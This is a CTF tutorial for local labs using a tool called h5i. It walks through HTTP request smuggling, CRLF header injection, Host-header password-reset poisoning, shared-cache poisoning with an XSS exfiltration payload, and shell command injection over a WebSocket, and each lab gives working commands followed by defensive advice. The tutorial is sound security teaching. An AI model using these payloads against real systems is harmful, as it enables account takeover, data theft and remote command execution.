HTTP Protocol Attacks
A beginner-friendly CTF tutorial: control raw request framing, inject headers, poison shared caches, and test commands carried over WebSockets.
Most earlier labs changed a parameter inside an ordinary HTTP request. Labs 30–34 of h5i-tutorial focus on the layers around it: where a request ends, how headers are constructed, which inputs define a cache entry, and what happens after a page upgrades to a WebSocket.
We will use h5i to send exact request bytes and WebSocket frames while keeping them inside the same policy and audit trail.
These techniques can affect other users’ traffic. Use only the included local labs or systems where the rules of engagement explicitly permit them.
Lab 30: HTTP request smuggling
A reverse proxy and an application server must agree on where one request ends. If one uses Content-Length while the other uses Transfer-Encoding, the same bytes can describe different message boundaries.
Start the lab:
$ ./run.sh 30
$ h5i browser open 'http://127.0.0.1:9300/health' \
--session lab30 --new --capture
$ WORK=$(mktemp -d)
The edge blocks /admin/*. We will make it see one permitted POST, while the backend sees the end of that request followed by a second request to /admin/flag.
Create the exact wire message:
$ python3 - 'http://127.0.0.1:9300' "$WORK/desync.http" <<'PY'
import sys
from urllib.parse import urlparse
host = urlparse(sys.argv[1]).netloc
smuggled = (
f"GET /admin/flag HTTP/1.1\r\n"
f"Host: {host}\r\n\r\n"
)
body = "0\r\n\r\n" + smuggled
outer = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: text/plain\r\n"
f"Content-Length: {len(body)}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"{body}"
)
open(sys.argv[2], "wb").write(outer.encode())
PY
Send the file without reconstructing its framing:
$ h5i websec replay req_0 --session lab30 \
--raw-request "$WORK/desync.http"
The summary reports only the first response, {"seen": "POST /"}, because that is the one the proxy considers the answer to our request. Both responses arrived on the same connection, so read the stored message to see the second one. Use the seq the replay printed:
$ h5i websec show res_1 --session lab30 --raw
Two HTTP responses appear back to back, and the second contains FLAG{request_smuggling_clte}. That second response is the whole finding: it is the answer to a request the edge never allowed and never saw.
This is a CL.TE desynchronization: the proxy trusts Content-Length; the backend trusts chunked encoding. Prevent it by rejecting ambiguous requests, normalizing framing once, and avoiding unsafe reuse of backend connections.
--raw-request is deliberately different from ordinary replay. A normal HTTP client would recompute the very headers we need to test.
Lab 31: CRLF header injection
HTTP/1 headers are separated by carriage return and line feed bytes: CRLF, written \r\n. If an application inserts user input into a header without rejecting newlines, the value can end one header and begin another.
Start the report lab:
$ ./run.sh 31
$ h5i browser open 'http://127.0.0.1:9310/' \
--session lab31 --new --capture
The front end sends a report name to an internal service and appends X-Role: guest. Insert a new header and end the header block before the application’s own role:
$ h5i websec replay req_0 --session lab31 --create \
--set method=POST --set path=/api/report \
--set header.Content-Type=application/json \
--set "json.name=quarterly"$'\r\n'"X-Role: admin"$'\r\n\r\n'
The internal parser sees X-Role: admin; the later guest header falls into the body. The response contains FLAG{crlf_header_injection}.
Reject CR and LF in values used to construct protocol headers. Prefer APIs that represent headers structurally and refuse invalid bytes rather than composing an HTTP message as text.
Lab 32: Host-header password-reset poisoning
Applications often need to build an absolute password-reset URL. If the request’s Host header supplies the domain, an attacker can make the emailed link point somewhere else.
Start the lab:
$ ./run.sh 32
$ h5i browser open 'http://127.0.0.1:9320/' \
--session lab32 --new --capture --allow 127.0.0.1
Ask for an admin reset while changing the host to the lab’s collector:
$ h5i websec replay req_0 --session lab32 --create \
--set method=POST --set path=/api/reset \
--set header.Content-Type=application/json \
--set header.Host=127.0.0.1:9321 \
--set json.email=admin@acme.test
The simulated mailbox owner clicks the link, and the collector on port 9321 records the path it was sent to. Read it through the same session:
$ h5i websec replay req_0 --session lab32 --create \
--set url=http://127.0.0.1:9321/seen \
--set header.Host=127.0.0.1:9321
The body is {"seen": ["/api/reset/use?token=<hex>", ...]}. Extract that token and use it:
$ TOKEN='PASTE_RESET_TOKEN'
$ h5i websec replay req_0 --session lab32 --create \
--set path=/api/reset/use \
--set "query.token=$TOKEN"
The response contains FLAG{host_header_reset}.
Generate security-sensitive absolute URLs from trusted configuration, not Host, X-Forwarded-Host, or similar client-controlled headers. At the edge, allowlist accepted hostnames.
Lab 33: poison a shared cache
A cache key decides which requests share a stored response. A poisoning opportunity exists when an input changes the response but is absent from that key.
Start the newsroom lab:
$ ./run.sh 33
$ h5i browser open 'http://127.0.0.1:9330/' \
--session lab33 --new --capture
$ ID="drop$$"
The origin reflects X-Forwarded-Host into the homepage, but the cache keys only on the URL. Create an XSS payload:
$ PAYLOAD="x\"><script>fetch('/admin/flag').then(r=>r.text()).then(t=>fetch('/collect?id=$ID&c='+encodeURIComponent(t)))</script><x y=\""
A single attempt almost never wins. A cache hit never reaches the origin, so our response can only be stored during the moment the entry is expired. Keep repopulating it, and check the collector between rounds:
$ for _ in $(seq 1 40); do
h5i websec replay req_0 --session lab33 \
--reset-budget --repeat 5 \
--set path=/ \
--set "header.X-Forwarded-Host=$PAYLOAD" >/dev/null
h5i websec replay req_0 --session lab33 --create \
--reset-budget \
--set path=/collected --set "query.id=$ID" |
grep -q 'FLAG' && break
sleep 0.6
done
$ h5i websec replay req_0 --session lab33 --create \
--reset-budget \
--set path=/collected --set "query.id=$ID"
When the attacker’s response becomes the cached / entry, the editor’s next reload receives and executes it, and the collector row contains FLAG{cache_poisoning}.
Test caches by finding inputs that satisfy both conditions:
- changing the input changes the origin response;
- changing the input does not create a different cache entry.
The cache and origin must agree on every response-varying input. Do not reflect forwarding headers without validation, and avoid caching personalized or executable responses.
Lab 34: command injection over a WebSocket
The visible page in Lab 34 is static. Its operations travel as JSON frames over a WebSocket, so an HTTP-only request history would miss the attack surface.
Start the lab:
$ ./run.sh 34
$ h5i browser open 'http://127.0.0.1:9340/' \
--session lab34 --new --capture --allow 127.0.0.1
Learn the frame format with a normal action:
$ h5i websec socket ws://127.0.0.1:9341/control \
--session lab34 \
--send '{"action":"status"}'
The ping action interpolates its host field into a shell command. Add a second command:
$ h5i websec socket ws://127.0.0.1:9341/control \
--session lab34 \
--send '{"action":"ping","host":"10.0.0.1; cat fleet.key"}' \
--wait-ms 3000
The returned frame contains FLAG{websocket_injection}.
WebSocket messages require the same authentication, authorization, schema validation, and injection defenses as HTTP endpoints. Use an argument array rather than a shell for ping, and validate the host as an IP address or hostname.
A reusable protocol-testing method
Ask where two components may disagree:
- proxy versus backend request boundaries;
- application text versus header structure;
- origin response variation versus cache key;
- HTTP-visible pages versus WebSocket-only operations.
When bytes are the experiment, verify the sent message itself. --raw-request and --raw-target exist because helpful normalization can otherwise erase the payload before it reaches the target.
Summary
Labs 30–34 moved beneath normal parameters. We desynchronized two HTTP parsers, injected a header using CRLF, poisoned a reset link through Host, placed executable content in a shared cache, and carried command injection through a WebSocket frame.
$ for s in lab30 lab31 lab32 lab33 lab34; do
h5i browser close --session "$s"
done
$ rm -rf "$WORK"
$ ./run.sh stop
In Business Logic, Time, and Crypto, we will test the rules around money, time, randomness, authentication state, and serialized objects.
References
- h5i
- Lab 30: Request smuggling
- Lab 31: CRLF injection
- Lab 32: Host-header reset poisoning
- Lab 33: Cache poisoning
- Lab 34: WebSocket injection
Business Logic, Time, and Crypto
Race a balance check, stack valid discounts, predict recovery tokens, extend a hash, skip MFA state, and turn a signed cookie into code execution.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.